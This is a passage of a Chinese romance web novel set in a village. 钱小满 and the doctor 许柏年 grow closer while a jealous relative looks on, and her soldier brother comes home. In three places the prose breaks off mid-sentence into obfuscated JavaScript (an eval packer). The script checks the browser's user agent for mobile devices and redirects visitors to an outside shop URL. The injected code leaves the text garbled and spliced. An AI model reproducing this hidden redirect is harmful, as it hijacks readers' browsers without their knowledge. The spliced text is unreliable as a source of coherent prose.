“许老师!”振国振兴跑过来,一人拉他一只手,“我二爸也来了,他送我们过来的!” 许柏年摸了摸两个孩子的头,目光落在姚小强身上。 姚小强也看见了他,快步走过来,主动伸出手:“你就是许医生吧?我嫂子常提起你,说你把振国振兴的成绩提上来了,太厉害了。” 许柏年回握:“应该的。” “我叫姚小强,在县城理发店上班。”姚小强抬手捋了一把头发,对自己的发型格外自信,“以后要理发找我,给你弄个时兴的。” 许柏年点点头。 钱小满从屋里出来,一看见许柏年,眼睛立刻亮了:“你来了?” “嗯。”许柏年看向她,嘴角弯了弯。 “进屋坐,外面冷。” “不冷。”许柏年接过她手里的水壶,“我来吧。” 两人指尖相碰,钱小满心里甜滋滋的,巴不得现在就进屋握住他的手给他暖暖。 屋里烧着炕,众人脱鞋上炕。 许柏年坐在两个孩子对面,准备开始讲题。钱小满照旧在旁边陪着,单手支着脑袋,近距离欣赏他端正的眉眼。 炕上挤不下,姚小强搬了个小板凳坐在旁边。 “许医生,你是哪儿的人?”他忍不住开口。 “首都。”许柏年头也没抬。 “首都好啊,大城市。”姚小强感慨,“怎么到我们这穷地方来了?” 许柏年没说话。 钱小满在旁边替他回答:“许医生是自己申请来的,为了照顾他爷爷奶奶。” 姚小强看向钱小满,笑了笑:“小满挺了解许医生的。” 钱小满脸一红:“那当然,他是我对象。” 姚小强脸上的笑容凝滞,很快又自然起来:“我知道,我哥跟我说了。许医生有福气,小满可是个好姑娘。” 许柏年淡淡抬眸,目光在他身上略一停留,便又低下头。 讲题的时候,姚小强在旁边坐着,时不时插一句嘴。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478224|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这道题不难,振国你咋不会?”他拿起本子,“这个数加那个数,不就等于这个数吗?” 振国抬起头,一脸茫然:“二爸,你说得不对,这是乘法,不是加法。” 姚小强挠了挠头:“哦,乘法啊,那我不懂了。” 钱小满没忍住笑了一声。 姚小强也跟着笑:“我小时候没好好读书,现在后悔了。不像许医生,有文化。我只能在理发店当个学徒,不知道还要熬几年才能转正。” 许柏年恍若未闻,继续讲题。 片刻后,姚小强又自顾自找话题:“银宝哥快回来了吧?” “嗯,下礼拜就到。” “银宝哥当兵好几年了吧?听说现在当连长了?” “嗯。”钱小满点头。 姚小强笑道:“金宝哥会开拖拉机,银宝哥当连长,你找了个有文化的对象,咱们家真是越来越好了。” 许柏年手里的笔一顿,抬眸望向姚小强。 姚小强正在跟钱小满说话,没留意他的眼神。 “银宝哥回来是不是要相亲?” “我妈说要给他相,不知道他愿不愿意。” “银宝哥的条件,村里的姑娘随便挑。”姚小强说着,又转向许柏年,“许医生,你跟小满啥时候办事?到时候我亲自给你俩设计发型,保证全村最时髦。” 许柏年淡淡回道:“还早。” “你可得抓紧,小满这么好的姑娘,打着灯笼都难找。”姚小强拍了拍许柏年的肩膀,“你得好好珍惜。” 许柏年意味深长地看了他一眼。 钱小满没注意到两个人之间的暗流,她正在检查振兴的作业:“这题你写错了,进位没加上。” 振兴嘟着嘴:“我忘了。” “你老忘,许老师讲了好几遍了。”钱小满说着,抬头看许柏年,“你再给他讲一遍呗。” 许柏年放下笔,接过本子,耐心地重新讲了一遍。 讲题的时候,他的声音比平时轻,语气也柔和了几分。 钱小满盯着他垂下来的睫毛,心里又痒了。她悄悄把手伸过去,在桌下碰了碰他的手指。 许柏年没看她,只是将手指张开,任由她勾住。 钱小满心里美得不行,嘴角翘得老高。 姚小强坐在旁边,将这一幕看在眼里,脸上的笑容淡了淡,很快又掩饰过去。 “我去帮大姨做饭。”他站起身,几乎是逃一般去了厨房。 钱小满没在意,继续勾着许柏年的手指。 许柏年讲完题,低头看了眼两人交握的手,没有松开。 过了一会儿,他状似不经意地开口:“他经常来你家?” “嗯?”钱小满愣了几秒才反应过来,“不常来啊,上一次见还是夏天呢,咋了?” “没什么。” 钱小满忽然反应过来了,心里甜得要命。她凑近他耳边,小声问他:“许柏年,你是不是吃醋了?” 许柏年别过脸:“没有。” “你就有。” “没有。” “那你问他干嘛?” 许柏年沉默不语。 钱小满瞥见他微红的耳尖,差点笑出声。她强忍着,正了正脸色,说道:“你放心,我对他没意思。他是我姐夫的弟弟,我们只是亲戚。” “嗯。” 18. 想亲你 午饭时候,姚红霞把饭菜端上桌。一盘炒鸡蛋、一盘白菜猪肉炖粉条、一碗腌萝卜丝,还有一盆玉米面糊糊。 “小强,别客气,多吃点。”姚红霞招呼着。 “谢谢姨。”姚小强端着碗,吃得挺香,眼睛时不时往钱小满身上瞟。 钱小满挨着许柏年坐,两只手规规矩矩放在膝盖上,脸上挂着笑,一副乖乖女的模样。以往她在家都是第一个动筷,今天是她和许柏年谈恋爱后第一次同桌吃饭,她得矜持。 许柏年端碗盛饭的动作不急不缓,举止温雅,一看就是城里带来的习惯,这么久也没改掉。 姚小强抹了一把嘴,跑出去不知道从哪拿来一颗苹果,递到钱小满面前:“给,我今天带来的,忘了拿出来了。” 钱小满看着苹果,悄悄咽了咽口水。好久没吃苹果,都忘了是啥味了,嘴上还是客气:“不用了,你留着自己吃吧。” “给你你就拿着,跟我还客气啥。”姚小强又把苹果往她面前推了推。 钱小满正要伸手,另一只手先伸了过来。 许柏年拿过苹果,从兜里掏出一把小刀,垂着眼慢条斯理地削起皮来。他手指修长,骨节分明,手腕线条干净好看,持刀的手纹丝不动,刀片贴着果肉旋绕,果皮被削成均匀细长的一条。 “吃吧。”他把削好的苹果递到钱小满面前。 钱小满愣了一下,接过来咬了一口,又脆又甜,汁水从嘴角溢出来。她赶紧用手背擦了一下,心里比苹果还甜。 许柏年把果皮拢成一团放在桌角,才端起自己的碗继续吃饭。 姚小强心里不是滋味,刚刚还香喷喷的饭菜顿时索然无味。 钱小满一边啃着苹果,一边夹了块肉放进许柏年碗里:“你多吃点。” 姚红霞看在眼里,连忙打圆场:“行了行了,让小许自己夹,赶紧把苹果吃完。”她心里直犯嘀咕,小强递的苹果,这闺女倒好,光惦记着许柏年,都是好孩子,小强得多难受。 “他不好意思夹嘛。”钱小满理直气壮,又给他舀了一勺炒鸡蛋堆在碗里。 姚小强嘴角的笑容越发勉强,端起碗猛喝一大口糊糊,烫得眼泪都快出来了。 钱金宝闷头吃饭,一句话也不说。他对这些弯弯绕绕不感兴趣,也懒得掺和。 饭后,许柏年又给振国振兴讲了一会儿题,把当天的功课都捋了一遍。振国振兴做完最后一道题,他合上课本站起身。 “我先回去了。”他的视线落在钱小满身上。 “哦。”钱小满有点舍不得,又没理由让他留下来。 许柏年跟姚红霞打了声招呼,又朝钱多来的方向点了点头,便出了院门。 钱小满送到门口,等他的背影走远了才进屋。 吃过下午饭,姚小强说今天不回城,天快黑了,带俩孩子路上不安全,干脆住一晚,明早再走。姚红霞把给老三准备的被褥子抱了过来,让他跟钱金宝挤一挤。 天刚擦黑,院门忽然被人敲响了。 许柏年站在门口,头发被风吹得有点乱,微微喘着气,像是走得很急。 “小许?”姚红霞从窗户探出头,“咋又回来了?” “婶子,我本子落下了,过来找找。”许柏年说着,目光往堂屋扫了一圈,落在钱小满身上。 钱小满一头雾水,她明明看着他把所有东西都装进包里了,怎么会落东西?不过他突然回来,她心里还是止不住地开心。 许柏年进了堂屋,弯腰在炕沿下假意翻找。 钱小满跟进去,小声说:“你本子不是带走了吗?我明明看见你放包里了。” 许柏年没抬头,声音压得极低:“嗯。” “那你回来找什么?”她更糊涂了。 许柏年直起身,定定望着她:“跟我出去。” 钱小满没懂他的意思,但还是鬼使神差地跟了出去。 她朝屋里喊了一声:“妈,我送送许医生。” 门外院墙跟的暗处,墙影挡住了外面的视线。 许柏年转过身,拉住她的手,把她往怀里一带。 钱小满还没反应过来,他的嘴唇就贴了上来。 不是碰脸颊,是亲嘴。 冰冰凉凉的,他的嘴唇有点干,但很软,贴在她唇上停了几秒钟就离开了。 钱小满整个人僵在原地,脑子里一片空白。 许柏年松开她,往后退了一步,耳尖红得像要滴血。他不敢看她,声音有点沙哑:“本子找到了,我先走了。” 他几乎是逃似的离开了。 钱小满靠在院墙上,心脏砰砰砰狂跳,像是要从嗓子眼里蹦出来。她摸了摸自己的嘴唇,上面还残留着他嘴唇的触感,果然很软,比刚出锅的馒头还软。 她傻笑起来,笑着笑着又害羞地捂住了脸。 她不知道的是,正要出来找她的另一个人,亲眼目睹了这一幕。 姚小强脸上的神情从愣怔一点点黯淡下去,失魂落魄地回了屋里。他和钱金宝挤在一张炕上,一言不发。巧得很,两人竟都是为情所困的失意人。 第二天一早,许柏年来了。 钱小满正在扫院子,两人目光一碰,她瞬间红了脸,低下头继续扫地,脸颊烫得厉害。 许柏年唇角勾了勾,走进堂屋。 振国振兴已经坐在桌前了,他坐下翻开课本开始讲题,仿佛昨天的亲昵从未发生过。 钱小满扫完地进屋,装模作样给他倒水,心早就飞到九霄云外去了。他的侧脸依旧清俊,睫毛长长,薄唇轻抿,可她现在清楚知道了他的嘴巴有多软。 补课的时候,姚小强终于没再来打扰。 下午补完课,许柏年帮振国振兴收拾好书包,摸了摸两个孩子的头:“下周再来。” “许老师再见!”振国振兴喊着跑了出去。 姚大壮骑着自行车在院门口等着,接了两个孩子,姚小强依旧没露面。 钱小满送许柏年到门口,两人静静站了一会儿。 “你昨天……”她脚尖在地上画圈,“是不是故意的?” “什么故意的?”许柏年装作听不懂。 “就是……亲我。” 许柏年抬手抵在唇边轻咳一声:“不是故意的。” “那你为什么还回来?本子明明没落下。” 他声音放得很轻,带着点不易察觉的局促:“想亲你。” 钱小满猛地抬起头,见他也在害羞,心里甜得要炸了。她踮起脚尖想亲回去,许柏年却往后退了一步:“别闹,有人。” “哪有人?”钱小满四处张望,路上空荡荡的,连个鬼影子都没有。 “大白天的,万一有人路过,看见了影响不好。”许柏年把手放下,在她脑袋上揉了一下,“进去吧。” 钱小满不情不愿:“好吧,你什么时候再亲我?” “看你表现。”说完他就匆匆离开了。 钱小满捂着嘴笑了一会儿,才蹦蹦跳跳跑回院子。 下午,姚小强骑着自行车来了。 他是来找落下的水壶。拿到东西后没急着走,站在院门口犹豫不决。 “小满,”他叫了她一声。 “嗯?”钱小满疑惑地抬起头。 姚小强看她的眼神有点复杂,终究还是开了口:“许柏年要是对你不好,你告诉我。” 钱小满没听明白他的意思:“什么?” “我是说,”姚小强挠了挠头,“他要是欺负你,或是对你不上心,你就跟我说,我帮你出气。” 钱小满只觉得莫名其妙:“小强哥,我有两个哥哥呢,他们会护着我。再说许柏年对我挺好的,不会欺负我。” 姚小强扯出一抹苦涩的笑:“好,那就好,是我多虑了。” 他跨上自行车,临走前回头看了她一眼:“小满,你是个好姑娘,值得被好好对待。” 说完,蹬着车走远了。 钱小满站在门口,只觉得这话来得突兀。她跟他又不熟,一年见不上几面,怎么莫名其妙说这种话? 她摇摇头,转身进了院子。 钱小满觉得她妈最近有点魔怔了。 这天下午,她刚从许柏年那儿回来,一进院门就看见姚红霞坐在院子里,面前摆了一堆东西。有照片、有纸条、有信封,花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱小满接过来一看,确实好看,眉眼周正,头发乌黑,笑得大大方方的。可她脑子里想的却是,三哥要是看上了别人,杏花怎么办? “妈,我觉得你不用这么急。”她把照片放下,“三哥刚休假回来,先让他歇歇,相亲的事缓两天也不迟。” “歇啥?歇两天假期就过去了,哪有功夫磨蹭?”姚红霞把照片收拢起来,“你三哥小时候淘得没边,村里姑娘见了都躲。现在人稳当了,人家还记着小时候的事呢。不趁这次回来抓紧定,等他自己谈,不知道等到啥时候。” 钱小满想起三哥小时候的壮举。人嫌狗厌,女孩子见到他都要绕道走,生怕跟他说两句话,兜里出现一只虫子。 “三哥小时候咋那么欠呢?” 姚红霞白了她一眼:“你懂啥?男娃小时候都那样,你爹年轻时候也没少干这些事。” 钱小满一脸嫌弃:“我爹?”她看了眼正在院子里劈柴的钱多来,想象不出来他年轻时候的样子。 “反正我跟你说,你三哥这亲事得抓紧。这些姑娘哪个条件都不差,他要是能看上,今年定下来,明年就能办事。” 钱小满想说三哥心里可能有杏花,还是忍住了。万一他自己还没捋明白杏花的感情。她要是说了,依她妈的性子,立马就能冲到杏花家提亲,到时候闹得满村风雨,三哥再不认账,就全乱套了。 她得等三哥回来,先问清楚再说。 “行行行,你看吧。我先回屋了。” “你不帮我一起挑挑?”姚红霞叫住她。 “你自己看吧,我又不是三哥,我说了不算。” 钱小满进屋往炕上一躺,盯着屋顶发呆。她跟杏花从小一起长大,好得跟亲姐妹似的,要是真成了妯娌,那可太圆满了。 她翻了个身,把脸埋进枕头:“三哥你可快点回来吧,再不回来,妈都要把你当猪配种了。” 窗外,姚红霞还在翻照片,一边翻一边念叨,声音断断续续飘进来。 “这个不错……这个也行……这个个子有点矮……这个家里兄弟太多了……” 钱小满捂着耳朵,翻了个身,不想听了。 19. 三哥回家了 十一月的第一天,钱银宝回来了。 他是下午到的,坐公社的拖拉机到村口,自己扛着一个大帆布包,走回院子。 钱小满正在屋里补衣服,听见院子里的动静,打开窗户探出脑袋,就看见一个穿军装的高大身影站在院子里,脚边放着军绿色帆布包。 “三哥!”她扔下手里的背心,一溜烟蹿了出去。 钱银宝黑了不少,瘦了不少,但肩背笔挺,笑起来露出一口白牙。他看见妹妹冲出来,脸上绷着的劲松了松,伸手在她脑袋上按了一下:“长高了。” “我都二十了,还长啥个子。”钱小满仰着脸看他,三哥的眉眼跟走的时候没太大变化,浓眉大眼,鼻梁挺直,但眼神不一样了。从前瞧着总像憋着坏主意,如今沉稳多了,整个人都成熟了不少。 姚红霞回家后,看见儿子眼眶就红了:“怎么又瘦了,瘦了一大圈。” “妈,没瘦,结实了。”钱银宝把胳膊弯起来,亮出鼓鼓囊囊的肌肉,逗得姚红霞破涕为笑。 钱多来从堂屋出来,站在台阶上,上下打量了儿子一遍,嘴角动了动:“回来了?” “回来了,爹。”钱银宝站直了,冲父亲点了下头。 “嗯。”钱多来背着手转身进屋,步子比平时轻快了不少。 一家人进了堂屋,钱银宝把帆布包拉开,从里面一样一样往外掏东西。水果罐头,黄桃的、橘子的、山楂的……还有几个圆滚滚的果子,皮是黄的,闻着有一股甜腻腻的香气。 “这是啥?”钱小满拿起来闻了闻。 “芒果。南边产的,你尝尝。”钱银宝又掏出一个铁盒,打开里面是整整齐齐的糕点,上头撒着芝麻和果仁。 钱小满眼睛都亮了,捏了一块塞进嘴里,又酥又甜,还有一股子奶味,她在村里从来没吃过。 “三哥,你咋带这么多东西?”她嘴里含着糕点,说话含糊不清。 “部队供销社什么都有。想着你们没吃过,就买了点。”钱银宝把东西拿出来放好,又从包底翻出两个肉罐头,铁皮壳子拿在手里沉沉的,“这个留着过年吃。” 姚红霞在旁边看得又心疼又高兴:“你自己留着吃嘛,花这些钱干啥。” “我在部队不缺吃的。”钱银宝把包拉上,拍了拍手,目光扫了一圈院子,“二哥呢?” “下地了,一会儿就回来。”姚红霞说,“你歇着,妈给你擀面去。” 钱银宝在屋里坐不住,去院子里站了一会儿,走到自己屋门口,推开门,看见铺好的新床单,藏青色的,叠得整整齐齐的被子,他巡视了一圈,把门带上了。 傍晚,钱小满去卫生室找许柏年,怀里揣着一个山楂罐头和两块糕点。 许柏年正在灯下写东西,见她进来,把本子合上。 钱小满把东西放桌上:“给你,我三哥带回来的。” 许柏年没有看罐头,而是看着她:“你三哥回来了?” “下午到的。”钱小满在他对面坐下,双手托腮,“三哥当营长了,穿上军装跟以前完全不一样,我都有点怕他了。” 许柏年把罐头推给她。 “你怎么不吃?”钱小满问。 “我不爱吃甜食,你留着自己吃吧。你三哥回来,家里热闹了吧?” 钱小满抱着双臂:“我不要,你不吃给你爷爷奶奶吃,老人家总爱吃吧。” “家里就热闹了一会儿,三哥接下来的日子不会消停了,我妈攒了一堆相亲对象的照片,他都得去见。” 许柏年嘴角弯了弯。两个人在卫生室坐了一会儿,钱小满惦记着家里还有一大家子人,没敢多待,站起来说要走。 许柏年送她到门口,月光洒在小路上,两个人站了片刻,钱小满踮起脚尖在他脸上飞快地啄了一口,转身跑了。 许柏年摸了摸被她亲过的地方,有点哭笑不得。 她一路小跑回家,院门没关,她推门进去,刚迈过门槛,就看见一个人影靠在墙边,指间一点火星明明灭灭。 钱银宝倚着柴棚的柱子,嘴里叼着一根烟。他刚才见小满鬼鬼祟祟出门,不放心跟了上去。眼看着她进了卫生室,还以为她生病了,没想到下一秒她跟那个年轻医生牵上了手。他没进去打扰俩人,转身回来了。 他把烟从嘴里拿下来,在地上摁灭了。 “三、三哥?”钱小满放慢脚步,心跳漏了一拍,“你咋在这儿站着?” “屋里闷,出来透透气。”钱银宝声音不高不低,偏偏带着点压迫感,“这么晚了,去哪儿了?” 钱小满莫名其妙紧张起来,手指头在衣角搅动:“我去卫生室了。” “卫生室?” “嗯,找许医生……拿点药。”她说完就后悔了,这个借口太烂了,她从哪儿变出来一盒药。 钱银宝没追问,把烟头扔进墙角的灰堆里,拍了拍手:“进屋吧,妈刚刚还在念叨你呢。” 钱小满跟在他后面进了堂屋。一家人都在,钱多来坐在主位上抽烟,姚红霞在织毛衣,钱金宝靠在炕沿上发呆。钱小满找了个角落坐下,低着头,心虚得不行。 钱银宝坐下来,端起搪瓷缸子喝了口水,忽然开口:“小满谈对象了?” 屋里安静了一瞬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我明天可能起得晚。杏花要来找我,就是李杏花,你还记得不?小时候老被你吓哭的那个。”钱小满说着,偷偷观察三哥的表情,“要是我没起,你帮我招呼一下,别让人家干等。” “知道了。”钱银宝脸上的表情没什么变化,独自出去了。 钱小满盯着他走出去的方向,心里七上八下的。她不知道三哥是不喜欢杏花,还是不敢承认,她能做的也就这么多了。 明天杏花来了,两个人见一面,有没有戏就看他们自己了。